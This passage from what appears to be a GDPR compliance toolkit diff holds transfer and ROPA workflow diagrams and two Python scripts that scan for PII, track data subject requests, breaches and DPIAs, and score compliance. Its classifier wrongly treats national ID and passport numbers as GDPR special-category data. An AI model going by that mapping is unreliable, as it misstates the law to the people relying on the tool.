||||
v
|
||||
End
|
||||
```
|
||||
|
||||
## Workflow 4: International Data Transfer Assessment
|
||||
|
||||
```
|
||||
Start
|
||||
|
|
||||
v
|
||||
[Identify Cross-Border Transfer]
|
||||
- Data flowing outside EEA
|
||||
- Cloud services in non-EEA regions
|
||||
- Group company data sharing
|
||||
- Vendor/processor locations
|
||||
|
|
||||
v
|
||||
[Check Adequacy Decision]
|
||||
- Is destination country on EU adequacy list?
|
||||
- (Andorra, Argentina, Canada, Faroe Islands, Guernsey,
|
||||
Israel, Isle of Man, Japan, Jersey, New Zealand, Republic
|
||||
of Korea, Switzerland, UK, Uruguay, US under DPF)
|
||||
|
|
||||
+--> [Adequate] --> Document and proceed
|
||||
|
|
||||
+--> [Not Adequate]
|
||||
|
|
||||
v
|
||||
[Select Transfer Mechanism]
|
||||
|
|
||||
+--> Standard Contractual Clauses (SCCs)
|
||||
+--> Binding Corporate Rules (BCRs)
|
||||
+--> Approved Code of Conduct
|
||||
+--> Certification Mechanism
|
||||
+--> Derogations (Art. 49) - limited circumstances
|
||||
|
|
||||
v
|
||||
[Conduct Transfer Impact Assessment (TIA)]
|
||||
- Laws of destination country
|
||||
- Government surveillance powers
|
||||
- Data protection standards
|
||||
- Access by public authorities
|
||||
|
|
||||
v
|
||||
[Identify Supplementary Measures]
|
||||
- Technical: encryption with EEA-held keys
|
||||
- Contractual: additional processor obligations
|
||||
- Organizational: policies limiting access
|
||||
|
|
||||
v
|
||||
[Document Transfer Mechanism]
|
||||
- Signed SCCs with correct module
|
||||
- TIA findings and conclusions
|
||||
- Supplementary measures implemented
|
||||
|
|
||||
v
|
||||
End
|
||||
```
|
||||
|
||||
## Workflow 5: Records of Processing Activities (ROPA)
|
||||
|
||||
```
|
||||
Start
|
||||
|
|
||||
v
|
||||
[Identify All Processing Activities]
|
||||
- Interview business units
|
||||
- Review system inventory
|
||||
- Analyze data flows
|
||||
- Check vendor agreements
|
||||
|
|
||||
v
|
||||
[For Each Processing Activity Document:]
|
||||
|
|
||||
v
|
||||
[Controller Record (Art. 30(1))]
|
||||
- Name and contact details of controller (and DPO)
|
||||
- Purposes of processing
|
||||
- Categories of data subjects
|
||||
- Categories of personal data
|
||||
- Categories of recipients
|
||||
- Transfers to third countries (safeguards)
|
||||
- Retention periods
|
||||
- Technical and organizational security measures
|
||||
|
|
||||
v
|
||||
[Processor Record (Art. 30(2))]
|
||||
- Name and contact details of processor and controller
|
||||
- Categories of processing carried out
|
||||
- Transfers to third countries (safeguards)
|
||||
- Technical and organizational security measures
|
||||
|
|
||||
v
|
||||
[Maintain and Update ROPA]
|
||||
- Review quarterly or when processing changes
|
||||
- Update for new systems, vendors, purposes
|
||||
- Make available to supervisory authority on request
|
||||
|
|
||||
v
|
||||
End
|
||||
```
|
||||
@@ -0,0 +1,234 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for assessing and managing GDPR data protection compliance."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import re
|
||||
from datetime import datetime
|
||||
from collections import Counter
|
||||
|
||||
|
||||
GDPR_ARTICLES = {
|
||||
"Art5": "Principles of processing",
|
||||
"Art6": "Lawful basis",
|
||||
"Art13": "Information to data subject (direct collection)",
|
||||
"Art14": "Information to data subject (indirect collection)",
|
||||
"Art15": "Right of access",
|
||||
"Art17": "Right to erasure",
|
||||
"Art20": "Right to data portability",
|
||||
"Art25": "Data protection by design and by default",
|
||||
"Art30": "Records of processing activities",
|
||||
"Art32": "Security of processing",
|
||||
"Art33": "Breach notification (72h to DPA)",
|
||||
"Art34": "Breach communication to data subjects",
|
||||
"Art35": "Data Protection Impact Assessment",
|
||||
"Art44": "Cross-border transfer principles",
|
||||
}
|
||||
|
||||
PII_PATTERNS = {
|
||||
"email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b",
|
||||
"phone_eu": r"\b\+?[0-9]{1,3}[\s.-]?[0-9]{6,14}\b",
|
||||
"iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b",
|
||||
"ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b",
|
||||
"date_of_birth": r"\b\d{2}[/.-]\d{2}[/.-]\d{4}\b",
|
||||
"national_id": r"\b\d{3}-\d{2}-\d{4}\b",
|
||||
"passport": r"\b[A-Z]{1,2}\d{6,9}\b",
|
||||
}
|
||||
|
||||
|
||||
def scan_for_pii(file_path, max_bytes=1024 * 1024):
|
||||
"""Scan a file for GDPR-relevant personal data patterns."""
|
||||
try:
|
||||
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
content = f.read(max_bytes)
|
||||
except (OSError, PermissionError):
|
||||
return None
|
||||
matches = {}
|
||||
for pii_type, pattern in PII_PATTERNS.items():
|
||||
found = re.findall(pattern, content)
|
||||
if found:
|
||||
matches[pii_type] = len(found)
|
||||
if not matches:
|
||||
return None
|
||||
return {"file": str(file_path), "pii_types": matches,
|
||||
"total_matches": sum(matches.values()),
|
||||
"category": classify_data_category(matches)}
|
||||
|
||||
|
||||
def classify_data_category(matches):
|
||||
"""Classify data into GDPR special categories."""
|
||||
if any(k in matches for k in ["national_id", "passport"]):
|
||||
return "special_category"
|
||||
if "iban" in matches:
|
||||
return "financial"
|
||||
return "standard_personal_data"
|
||||
|
||||
|
||||
def assess_ropa_completeness(ropa_json):
|
||||
"""Assess Records of Processing Activities (ROPA) completeness per Art 30."""
|
||||
with open(ropa_json) as f:
|
||||
ropa = json.load(f)
|
||||
required_fields = [
|
||||
"controller_name", "purposes", "data_categories", "data_subjects",
|
||||
"recipients", "transfers", "retention_periods", "security_measures",
|
||||
]
|
||||
findings = []
|
||||
activities = ropa if isinstance(ropa, list) else ropa.get("activities", [])
|
||||
for activity in activities:
|
||||
missing = [f for f in required_fields if not activity.get(f)]
|
||||
findings.append({
|
||||
"activity": activity.get("name", activity.get("purpose", "unknown")),
|
||||
"complete": len(missing) == 0,
|
||||
"missing_fields": missing,
|
||||
"compliance": "COMPLIANT" if not missing else "NON_COMPLIANT",
|
||||
})
|
||||
total = len(findings)
|
||||
compliant = sum(1 for f in findings if f["compliance"] == "COMPLIANT")
|
||||
return {
|
||||
"activities_assessed": total,
|
||||
"compliant": compliant,
|
||||
"compliance_rate": round(compliant / total * 100, 1) if total else 0,
|
||||
"details": findings,
|
||||
}
|
||||
|
||||
|
||||
def assess_dsr_handling(dsr_log_path):
|
||||
"""Assess Data Subject Request handling compliance."""
|
||||
with open(dsr_log_path) as f:
|
||||
requests_log = json.load(f)
|
||||
dsrs = requests_log if isinstance(requests_log, list) else requests_log.get("requests", [])
|
||||
findings = []
|
||||
for dsr in dsrs:
|
||||
received = datetime.fromisoformat(dsr.get("received_date", "2024-01-01"))
|
||||
completed = dsr.get("completed_date")
|
||||
if completed:
|
||||
completed_dt = datetime.fromisoformat(completed)
|
||||
days = (completed_dt - received).days
|
||||
else:
|
||||
days = (datetime.utcnow() - received).days
|
||||
overdue = days > 30 # GDPR requires response within one month
|
||||
findings.append({
|
||||
"request_id": dsr.get("id", ""),
|
||||
"type": dsr.get("type", dsr.get("right", "")),
|
||||
"status": dsr.get("status", "pending"),
|
||||
"days_elapsed": days,
|
||||
"overdue": overdue,
|
||||
"severity": "HIGH" if overdue else "INFO",
|
||||
})
|
||||
overdue_count = sum(1 for f in findings if f["overdue"])
|
||||
return {
|
||||
"total_requests": len(findings),
|
||||
"overdue": overdue_count,
|
||||
"by_type": dict(Counter(f["type"] for f in findings)),
|
||||
"details": findings,
|
||||
}
|
||||
|
||||
|
||||
def assess_breach_notification_readiness(breach_log_path):
|
||||
"""Assess breach notification compliance (Art 33/34)."""
|
||||
with open(breach_log_path) as f:
|
||||
breaches = json.load(f)
|
||||
breach_list = breaches if isinstance(breaches, list) else breaches.get("breaches", [])
|
||||
findings = []
|
||||
for breach in breach_list:
|
||||
detected = datetime.fromisoformat(breach.get("detected", "2024-01-01"))
|
||||
notified = breach.get("dpa_notified")
|
||||
if notified:
|
||||
notified_dt = datetime.fromisoformat(notified)
|
||||
hours = (notified_dt - detected).total_seconds() / 3600
|
||||
else:
|
||||
hours = None
|
||||
compliant = hours is not None and hours <= 72
|
||||
findings.append({
|
||||
"breach_id": breach.get("id", ""),
|
||||
"detected": str(detected),
|
||||
"notification_hours": round(hours, 1) if hours else None,
|
||||
"art33_compliant": compliant,
|
||||
"data_subjects_affected": breach.get("subjects_affected", 0),
|
||||
"severity": breach.get("severity", "HIGH"),
|
||||
})
|
||||
return {"total_breaches": len(findings), "details": findings,
|
||||
"art33_compliance_rate": round(
|
||||
sum(1 for f in findings if f["art33_compliant"]) / len(findings) * 100, 1
|
||||
) if findings else 0}
|
||||
|
||||
|
||||
def generate_art32_checklist():
|
||||
"""Generate Article 32 security measures compliance checklist."""
|
||||
return {
|
||||
"encryption": {
|
||||
"data_at_rest": {"required": True, "standard": "AES-256"},
|
||||
"data_in_transit": {"required": True, "standard": "TLS 1.2+"},
|
||||
"key_management": {"required": True, "standard": "HSM or KMS"},
|
||||
},
|
||||
"pseudonymization": {
|
||||
"tokenization": {"required": True},
|
||||
"key_separation": {"required": True},
|
||||
},
|
||||
"access_controls": {
|
||||
"rbac": {"required": True},
|
||||
"mfa": {"required": True},
|
||||
"least_privilege": {"required": True},
|
||||
"access_reviews": {"required": True, "frequency": "quarterly"},
|
||||
},
|
||||
"resilience": {
|
||||
"backup_strategy": {"required": True},
|
||||
"disaster_recovery": {"required": True, "rto": "4h", "rpo": "1h"},
|
||||
"business_continuity": {"required": True},
|
||||
},
|
||||
"testing": {
|
||||
"penetration_testing": {"required": True, "frequency": "annual"},
|
||||
"vulnerability_scanning": {"required": True, "frequency": "monthly"},
|
||||
"security_awareness": {"required": True, "frequency": "annual"},
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="GDPR Data Protection Agent")
|
||||
parser.add_argument("--scan-pii", help="File or directory to scan for PII")
|
||||
parser.add_argument("--ropa", help="ROPA JSON file for completeness check")
|
||||
parser.add_argument("--dsr-log", help="Data Subject Request log JSON")
|
||||
parser.add_argument("--breach-log", help="Breach notification log JSON")
|
||||
parser.add_argument("--action", choices=["scan", "ropa", "dsr", "breach",
|
||||
"art32", "full"], default="full")
|
||||
parser.add_argument("--output", default="gdpr_compliance_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = {"generated_at": datetime.utcnow().isoformat(), "results": {}}
|
||||
|
||||
if args.action in ("scan", "full") and args.scan_pii:
|
||||
result = scan_for_pii(args.scan_pii)
|
||||
report["results"]["pii_scan"] = result
|
||||
if result:
|
||||
print(f"[+] PII found: {result['total_matches']} matches ({result['category']})")
|
||||
else:
|
||||
print("[+] No PII detected")
|
||||
|
||||
if args.action in ("ropa", "full") and args.ropa:
|
||||
result = assess_ropa_completeness(args.ropa)
|
||||
report["results"]["ropa"] = result
|
||||
print(f"[+] ROPA compliance: {result['compliance_rate']}%")
|
||||
|
||||
if args.action in ("dsr", "full") and args.dsr_log:
|
||||
result = assess_dsr_handling(args.dsr_log)
|
||||
report["results"]["dsr"] = result
|
||||
print(f"[+] DSRs: {result['total_requests']} total, {result['overdue']} overdue")
|
||||
|
||||
if args.action in ("breach", "full") and args.breach_log:
|
||||
result = assess_breach_notification_readiness(args.breach_log)
|
||||
report["results"]["breach"] = result
|
||||
print(f"[+] Art 33 compliance rate: {result['art33_compliance_rate']}%")
|
||||
|
||||
if args.action in ("art32", "full"):
|
||||
checklist = generate_art32_checklist()
|
||||
report["results"]["art32_checklist"] = checklist
|
||||
print("[+] Article 32 security checklist generated")
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,535 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
GDPR Data Protection Compliance Automation
|
||||
|
||||
Automates data mapping, ROPA creation, DPIA assessment, data subject
|
||||
request tracking, breach notification management, and compliance reporting.
|
||||
"""
|
||||
|
||||
import json
|
||||
import csv
|
||||
import os
|
||||
from datetime import datetime, timedelta
|
||||
from pathlib import Path
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class LawfulBasis(Enum):
|
||||
CONSENT = "Consent (Art. 6(1)(a))"
|
||||
CONTRACT = "Contract (Art. 6(1)(b))"
|
||||
LEGAL_OBLIGATION = "Legal Obligation (Art. 6(1)(c))"
|
||||
VITAL_INTERESTS = "Vital Interests (Art. 6(1)(d))"
|
||||
PUBLIC_TASK = "Public Task (Art. 6(1)(e))"
|
||||
LEGITIMATE_INTEREST = "Legitimate Interest (Art. 6(1)(f))"
|
||||
|
||||
|
||||
class DSRType(Enum):
|
||||
ACCESS = "Right of Access (Art. 15)"
|
||||
RECTIFICATION = "Right to Rectification (Art. 16)"
|
||||
ERASURE = "Right to Erasure (Art. 17)"
|
||||
RESTRICTION = "Right to Restriction (Art. 18)"
|
||||
PORTABILITY = "Right to Data Portability (Art. 20)"
|
||||
OBJECTION = "Right to Object (Art. 21)"
|
||||
AUTOMATED = "Automated Decision-Making (Art. 22)"
|
||||
|
||||
|
||||
class BreachSeverity(Enum):
|
||||
NO_RISK = "No Risk"
|
||||
RISK = "Risk to Rights and Freedoms"
|
||||
HIGH_RISK = "High Risk to Rights and Freedoms"
|
||||
|
||||
|
||||
class TransferMechanism(Enum):
|
||||
ADEQUACY = "Adequacy Decision (Art. 45)"
|
||||
SCCS = "Standard Contractual Clauses (Art. 46(2)(c))"
|
||||
BCRS = "Binding Corporate Rules (Art. 47)"
|
||||
CONSENT = "Explicit Consent (Art. 49(1)(a))"
|
||||
CONTRACT = "Necessary for Contract (Art. 49(1)(b))"
|
||||
DEROGATION = "Other Derogation (Art. 49)"
|
||||
|
||||
|
||||
ADEQUATE_COUNTRIES = [
|
||||
"Andorra", "Argentina", "Canada", "Faroe Islands", "Guernsey",
|
||||
"Israel", "Isle of Man", "Japan", "Jersey", "New Zealand",
|
||||
"Republic of Korea", "Switzerland", "United Kingdom", "Uruguay",
|
||||
"United States (Data Privacy Framework participants)"
|
||||
]
|
||||
|
||||
|
||||
@dataclass
|
||||
class ProcessingActivity:
|
||||
activity_id: str
|
||||
name: str
|
||||
purpose: str
|
||||
lawful_basis: str
|
||||
data_subjects: list
|
||||
personal_data_categories: list
|
||||
special_categories: bool = False
|
||||
recipients: list = field(default_factory=list)
|
||||
international_transfers: list = field(default_factory=list)
|
||||
retention_period: str = ""
|
||||
systems: list = field(default_factory=list)
|
||||
security_measures: list = field(default_factory=list)
|
||||
dpia_required: bool = False
|
||||
controller_name: str = ""
|
||||
processor_name: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class DataSubjectRequest:
|
||||
dsr_id: str
|
||||
request_type: str
|
||||
data_subject_name: str
|
||||
data_subject_email: str
|
||||
received_date: str
|
||||
identity_verified: bool = False
|
||||
identity_verified_date: str = ""
|
||||
deadline: str = ""
|
||||
status: str = "Received"
|
||||
systems_searched: list = field(default_factory=list)
|
||||
response_date: str = ""
|
||||
notes: str = ""
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.deadline and self.received_date:
|
||||
received = datetime.strptime(self.received_date, "%Y-%m-%d")
|
||||
self.deadline = (received + timedelta(days=30)).strftime("%Y-%m-%d")
|
||||
|
||||
|
||||
@dataclass
|
||||
class BreachRecord:
|
||||
breach_id: str
|
||||
detected_date: str
|
||||
detected_time: str
|
||||
description: str
|
||||
data_categories: list
|
||||
subjects_affected: int
|
||||
severity: str
|
||||
notification_deadline: str = ""
|
||||
authority_notified: bool = False
|
||||
authority_notification_date: str = ""
|
||||
subjects_notified: bool = False
|
||||
subjects_notification_date: str = ""
|
||||
root_cause: str = ""
|
||||
remediation: str = ""
|
||||
status: str = "Investigating"
|
||||
|
||||
def __post_init__(self):
|
||||
if not self.notification_deadline and self.detected_date:
|
||||
detected = datetime.strptime(self.detected_date, "%Y-%m-%d")
|
||||
self.notification_deadline = (detected + timedelta(hours=72)).strftime("%Y-%m-%d %H:%M")
|
||||
|
||||
|
||||
@dataclass
|
||||
class DPIARecord:
|
||||
dpia_id: str
|
||||
processing_activity: str
|
||||
description: str
|
||||
necessity_assessment: str
|
||||
risks_identified: list
|
||||
mitigation_measures: list
|
||||
residual_risk: str
|
||||
dpo_consultation: bool = False
|
||||
authority_consultation: bool = False
|
||||
approved: bool = False
|
||||
approval_date: str = ""
|
||||
reviewer: str = ""
|
||||
|
||||
|
||||
class GDPRComplianceManager:
|
||||
"""Manages GDPR compliance controls and tracking."""
|
||||
|
||||
def __init__(self, output_dir: str = "./gdpr_output"):
|
||||
self.output_dir = Path(output_dir)
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.processing_activities: list[ProcessingActivity] = []
|
||||
self.dsr_log: list[DataSubjectRequest] = []
|
||||
self.breach_register: list[BreachRecord] = []
|
||||
self.dpia_register: list[DPIARecord] = []
|
||||
|
||||
def create_ropa(self, activities: list[dict]) -> list[ProcessingActivity]:
|
||||
"""Create Records of Processing Activities (Art. 30)."""
|
||||
print("\n" + "=" * 70)
|
||||
print("RECORDS OF PROCESSING ACTIVITIES (ROPA)")
|
||||
print("=" * 70)
|
||||
|
||||
for act_data in activities:
|
||||
activity = ProcessingActivity(**act_data)
|
||||
self.processing_activities.append(activity)
|
||||
print(f"\n [{activity.activity_id}] {activity.name}")
|
||||
print(f" Purpose: {activity.purpose}")
|
||||
print(f" Lawful Basis: {activity.lawful_basis}")
|
||||
print(f" Data Subjects: {', '.join(activity.data_subjects)}")
|
||||
print(f" Special Categories: {'Yes' if activity.special_categories else 'No'}")
|
||||
print(f" International Transfers: {'Yes' if activity.international_transfers else 'No'}")
|
||||
print(f" DPIA Required: {'Yes' if activity.dpia_required else 'No'}")
|
||||
|
||||
# Summary statistics
|
||||
total = len(self.processing_activities)
|
||||
special = sum(1 for a in self.processing_activities if a.special_categories)
|
||||
transfers = sum(1 for a in self.processing_activities if a.international_transfers)
|
||||
dpia_needed = sum(1 for a in self.processing_activities if a.dpia_required)
|
||||
|
||||
print(f"\n ROPA Summary:")
|
||||
print(f" Total Processing Activities: {total}")
|
||||
print(f" Special Category Processing: {special}")
|
||||
print(f" International Transfers: {transfers}")
|
||||
print(f" DPIA Required: {dpia_needed}")
|
||||
|
||||
# Lawful basis breakdown
|
||||
basis_counts = {}
|
||||
for a in self.processing_activities:
|
||||
basis_counts.setdefault(a.lawful_basis, 0)
|
||||
basis_counts[a.lawful_basis] += 1
|
||||
print(f"\n Lawful Basis Breakdown:")
|
||||
for basis, count in basis_counts.items():
|
||||
print(f" {basis}: {count}")
|
||||
|
||||
# Save ROPA
|
||||
ropa_path = self.output_dir / "ropa.json"
|
||||
with open(ropa_path, "w") as f:
|
||||
json.dump([asdict(a) for a in self.processing_activities], f, indent=2)
|
||||
|
||||
csv_path = self.output_dir / "ropa.csv"
|
||||
with open(csv_path, "w", newline="", encoding="utf-8") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow([
|
||||
"Activity ID", "Name", "Purpose", "Lawful Basis",
|
||||
"Data Subjects", "Personal Data Categories", "Special Categories",
|
||||
"Recipients", "International Transfers", "Retention Period",
|
||||
"Systems", "Security Measures", "DPIA Required"
|
||||
])
|
||||
for a in self.processing_activities:
|
||||
writer.writerow([
|
||||
a.activity_id, a.name, a.purpose, a.lawful_basis,
|
||||
"; ".join(a.data_subjects), "; ".join(a.personal_data_categories),
|
||||
"Yes" if a.special_categories else "No",
|
||||
"; ".join(a.recipients), "; ".join(a.international_transfers),
|
||||
a.retention_period, "; ".join(a.systems),
|
||||
"; ".join(a.security_measures), "Yes" if a.dpia_required else "No"
|
||||
])
|
||||
|
||||
print(f"\n ROPA saved to: {ropa_path}")
|
||||
return self.processing_activities
|
||||
|
||||
def process_dsr(self, requests: list[dict]) -> dict:
|
||||
"""Track and manage data subject requests."""
|
||||
print("\n" + "=" * 70)
|
||||
print("DATA SUBJECT REQUEST TRACKER")
|
||||
print("=" * 70)
|
||||
|
||||
for req_data in requests:
|
||||
dsr = DataSubjectRequest(**req_data)
|
||||
self.dsr_log.append(dsr)
|
||||
print(f"\n [{dsr.dsr_id}] {dsr.request_type}")
|
||||
print(f" Subject: {dsr.data_subject_name}")
|
||||
print(f" Received: {dsr.received_date}")
|
||||
print(f" Deadline: {dsr.deadline}")
|
||||
print(f" Status: {dsr.status}")
|
||||
print(f" Identity Verified: {'Yes' if dsr.identity_verified else 'No'}")
|
||||
|
||||
# Overdue check
|
||||
today = datetime.now().strftime("%Y-%m-%d")
|
||||
overdue = [d for d in self.dsr_log if d.deadline < today and d.status != "Completed"]
|
||||
if overdue:
|
||||
print(f"\n ALERT: {len(overdue)} overdue DSRs!")
|
||||
for d in overdue:
|
||||
print(f" [{d.dsr_id}] {d.request_type} - Deadline: {d.deadline}")
|
||||
|
||||
# Summary
|
||||
type_counts = {}
|
||||
for d in self.dsr_log:
|
||||
type_counts.setdefault(d.request_type, 0)
|
||||
type_counts[d.request_type] += 1
|
||||
|
||||
print(f"\n DSR Summary:")
|
||||
for rtype, count in type_counts.items():
|
||||
print(f" {rtype}: {count}")
|
||||
print(f" Total: {len(self.dsr_log)}")
|
||||
print(f" Overdue: {len(overdue)}")
|
||||
|
||||
dsr_path = self.output_dir / "dsr_log.json"
|
||||
with open(dsr_path, "w") as f:
|
||||
json.dump([asdict(d) for d in self.dsr_log], f, indent=2)
|
||||
|
||||
print(f"\n DSR Log saved to: {dsr_path}")
|
||||
return {"total": len(self.dsr_log), "overdue": len(overdue), "by_type": type_counts}
|
||||
|
||||
def manage_breach(self, breaches: list[dict]) -> list[BreachRecord]:
|
||||
"""Manage breach register and notification tracking."""
|
||||
print("\n" + "=" * 70)
|
||||
print("BREACH REGISTER AND NOTIFICATION TRACKER")
|
||||
print("=" * 70)
|
||||
|
||||
for breach_data in breaches:
|
||||
breach = BreachRecord(**breach_data)
|
||||
self.breach_register.append(breach)
|
||||
print(f"\n [{breach.breach_id}] {breach.description[:60]}...")
|
||||
print(f" Detected: {breach.detected_date} {breach.detected_time}")
|
||||
print(f" Severity: {breach.severity}")
|
||||
print(f" Subjects Affected: {breach.subjects_affected}")
|
||||
print(f" Notification Deadline: {breach.notification_deadline}")
|
||||
print(f" Authority Notified: {'Yes' if breach.authority_notified else 'No'}")
|
||||
if breach.severity == BreachSeverity.HIGH_RISK.value:
|
||||
print(f" Subjects Notified: {'Yes' if breach.subjects_notified else 'No'}")
|
||||
print(f" Status: {breach.status}")
|
||||
|
||||
breach_path = self.output_dir / "breach_register.json"
|
||||
with open(breach_path, "w") as f:
|
||||
json.dump([asdict(b) for b in self.breach_register], f, indent=2)
|
||||
|
||||
print(f"\n Breach Register saved to: {breach_path}")
|
||||
return self.breach_register
|
||||
|
||||
def conduct_dpia(self, dpias: list[dict]) -> list[DPIARecord]:
|
||||
"""Conduct and record Data Protection Impact Assessments."""
|
||||
print("\n" + "=" * 70)
|
||||
print("DATA PROTECTION IMPACT ASSESSMENTS (DPIAs)")
|
||||
print("=" * 70)
|
||||
|
||||
for dpia_data in dpias:
|
||||
dpia = DPIARecord(**dpia_data)
|
||||
self.dpia_register.append(dpia)
|
||||
print(f"\n [{dpia.dpia_id}] {dpia.processing_activity}")
|
||||
print(f" Description: {dpia.description[:60]}...")
|
||||
print(f" Risks Identified: {len(dpia.risks_identified)}")
|
||||
print(f" Mitigation Measures: {len(dpia.mitigation_measures)}")
|
||||
print(f" Residual Risk: {dpia.residual_risk}")
|
||||
print(f" DPO Consulted: {'Yes' if dpia.dpo_consultation else 'No'}")
|
||||
print(f" Approved: {'Yes' if dpia.approved else 'No'}")
|
||||
|
||||
dpia_path = self.output_dir / "dpia_register.json"
|
||||
with open(dpia_path, "w") as f:
|
||||
json.dump([asdict(d) for d in self.dpia_register], f, indent=2)
|
||||
|
||||
print(f"\n DPIA Register saved to: {dpia_path}")
|
||||
return self.dpia_register
|
||||
|
||||
def assess_compliance(self) -> dict:
|
||||
"""Generate overall GDPR compliance assessment."""
|
||||
print("\n" + "=" * 70)
|
||||
print("GDPR COMPLIANCE ASSESSMENT")
|
||||
print("=" * 70)
|
||||
|
||||
checks = {
|
||||
"Article 5 - Principles": {
|
||||
"All processing has documented lawful basis": bool(self.processing_activities),
|
||||
"Purpose limitation documented for each activity": False,
|
||||
"Data minimization assessed": False,
|
||||
"Accuracy procedures in place": False,
|
||||
"Retention periods defined": any(a.retention_period for a in self.processing_activities),
|
||||
"Security measures documented": any(a.security_measures for a in self.processing_activities),
|
||||
},
|
||||
"Article 25 - Privacy by Design": {
|
||||
"Development processes include privacy reviews": False,
|
||||
"Default privacy settings implemented": False,
|
||||
"Data minimization built into systems": False,
|
||||
},
|
||||
"Article 30 - ROPA": {
|
||||
"Records of processing maintained": bool(self.processing_activities),
|
||||
"Controller details documented": any(a.controller_name for a in self.processing_activities),
|
||||
"All processing activities captured": len(self.processing_activities) > 0,
|
||||
},
|
||||
"Article 32 - Security Measures": {
|
||||
"Encryption implemented for personal data": False,
|
||||
"Pseudonymization implemented where appropriate": False,
|
||||
"Access controls for personal data systems": False,
|
||||
"Regular security testing performed": False,
|
||||
},
|
||||
"Articles 33-34 - Breach Notification": {
|
||||
"Breach detection capabilities in place": False,
|
||||
"72-hour notification process documented": False,
|
||||
"Breach register maintained": bool(self.breach_register),
|
||||
"Breach response tested": False,
|
||||
},
|
||||
"Article 35 - DPIA": {
|
||||
"DPIA criteria documented": False,
|
||||
"DPIAs conducted for high-risk processing": bool(self.dpia_register),
|
||||
"DPO consulted on DPIAs": any(d.dpo_consultation for d in self.dpia_register),
|
||||
},
|
||||
"Articles 12-22 - Data Subject Rights": {
|
||||
"DSR handling process documented": False,
|
||||
"30-day response capability": bool(self.dsr_log),
|
||||
"Identity verification process": any(d.identity_verified for d in self.dsr_log),
|
||||
"Erasure capability across systems": False,
|
||||
"Portability export capability": False,
|
||||
},
|
||||
"Articles 44-49 - International Transfers": {
|
||||
"Cross-border transfers mapped": any(a.international_transfers for a in self.processing_activities),
|
||||
"Transfer mechanisms in place (SCCs/BCRs)": False,
|
||||
"Transfer impact assessments conducted": False,
|
||||
},
|
||||
}
|
||||
|
||||
total = sum(len(v) for v in checks.values())
|
||||
passed = sum(sum(1 for x in v.values() if x) for v in checks.values())
|
||||
pct = (passed / total * 100) if total > 0 else 0
|
||||
|
||||
print(f"\n Compliance Score: {passed}/{total} ({pct:.1f}%)")
|
||||
|
||||
for article, items in checks.items():
|
||||
cat_passed = sum(1 for x in items.values() if x)
|
||||
cat_total = len(items)
|
||||
print(f"\n {article} ({cat_passed}/{cat_total}):")
|
||||
for item, status in items.items():
|
||||
icon = "[PASS]" if status else "[FAIL]"
|
||||
print(f" {icon} {item}")
|
||||
|
||||
report = {
|
||||
"date": datetime.now().isoformat(),
|
||||
"compliance_percentage": pct,
|
||||
"checks": checks,
|
||||
"ropa_count": len(self.processing_activities),
|
||||
"dsr_count": len(self.dsr_log),
|
||||
"breach_count": len(self.breach_register),
|
||||
"dpia_count": len(self.dpia_register),
|
||||
}
|
||||
|
||||
report_path = self.output_dir / "gdpr_compliance_report.json"
|
||||
with open(report_path, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(f"\n Compliance Report saved to: {report_path}")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
"""Run GDPR compliance assessment."""
|
||||
manager = GDPRComplianceManager()
|
||||
|
||||
# ROPA
|
||||
sample_activities = [
|
||||
{
|
||||
"activity_id": "PROC-001",
|
||||
"name": "Customer Account Management",
|
||||
"purpose": "Managing customer accounts and providing services",
|
||||
"lawful_basis": LawfulBasis.CONTRACT.value,
|
||||
"data_subjects": ["Customers"],
|
||||
"personal_data_categories": ["Name", "Email", "Phone", "Address", "Payment details"],
|
||||
"recipients": ["Payment processor", "CRM provider"],
|
||||
"international_transfers": ["US (Payment processor - SCCs)"],
|
||||
"retention_period": "Duration of contract + 6 years",
|
||||
"systems": ["CRM", "Payment gateway", "Database"],
|
||||
"security_measures": ["Encryption at rest", "TLS in transit", "RBAC", "MFA"],
|
||||
"controller_name": "Example Corp Ltd",
|
||||
},
|
||||
{
|
||||
"activity_id": "PROC-002",
|
||||
"name": "Employee HR Processing",
|
||||
"purpose": "Employment administration, payroll, benefits",
|
||||
"lawful_basis": LawfulBasis.CONTRACT.value,
|
||||
"data_subjects": ["Employees", "Job applicants"],
|
||||
"personal_data_categories": ["Name", "Address", "DOB", "NI number", "Bank details", "Health data"],
|
||||
"special_categories": True,
|
||||
"recipients": ["Payroll provider", "Pension provider", "HMRC"],
|
||||
"retention_period": "Employment + 7 years",
|
||||
"systems": ["HRIS", "Payroll system"],
|
||||
"security_measures": ["Encryption", "Access controls", "Audit logging"],
|
||||
"dpia_required": True,
|
||||
"controller_name": "Example Corp Ltd",
|
||||
},
|
||||
{
|
||||
"activity_id": "PROC-003",
|
||||
"name": "Website Analytics",
|
||||
"purpose": "Analyzing website usage to improve user experience",
|
||||
"lawful_basis": LawfulBasis.CONSENT.value,
|
||||
"data_subjects": ["Website visitors"],
|
||||
"personal_data_categories": ["IP address", "Cookie identifiers", "Browsing behavior"],
|
||||
"recipients": ["Analytics provider"],
|
||||
"international_transfers": ["US (Analytics provider - EU-US DPF)"],
|
||||
"retention_period": "26 months",
|
||||
"systems": ["Website", "Analytics platform"],
|
||||
"security_measures": ["IP anonymization", "Cookie consent", "Data pseudonymization"],
|
||||
"controller_name": "Example Corp Ltd",
|
||||
},
|
||||
]
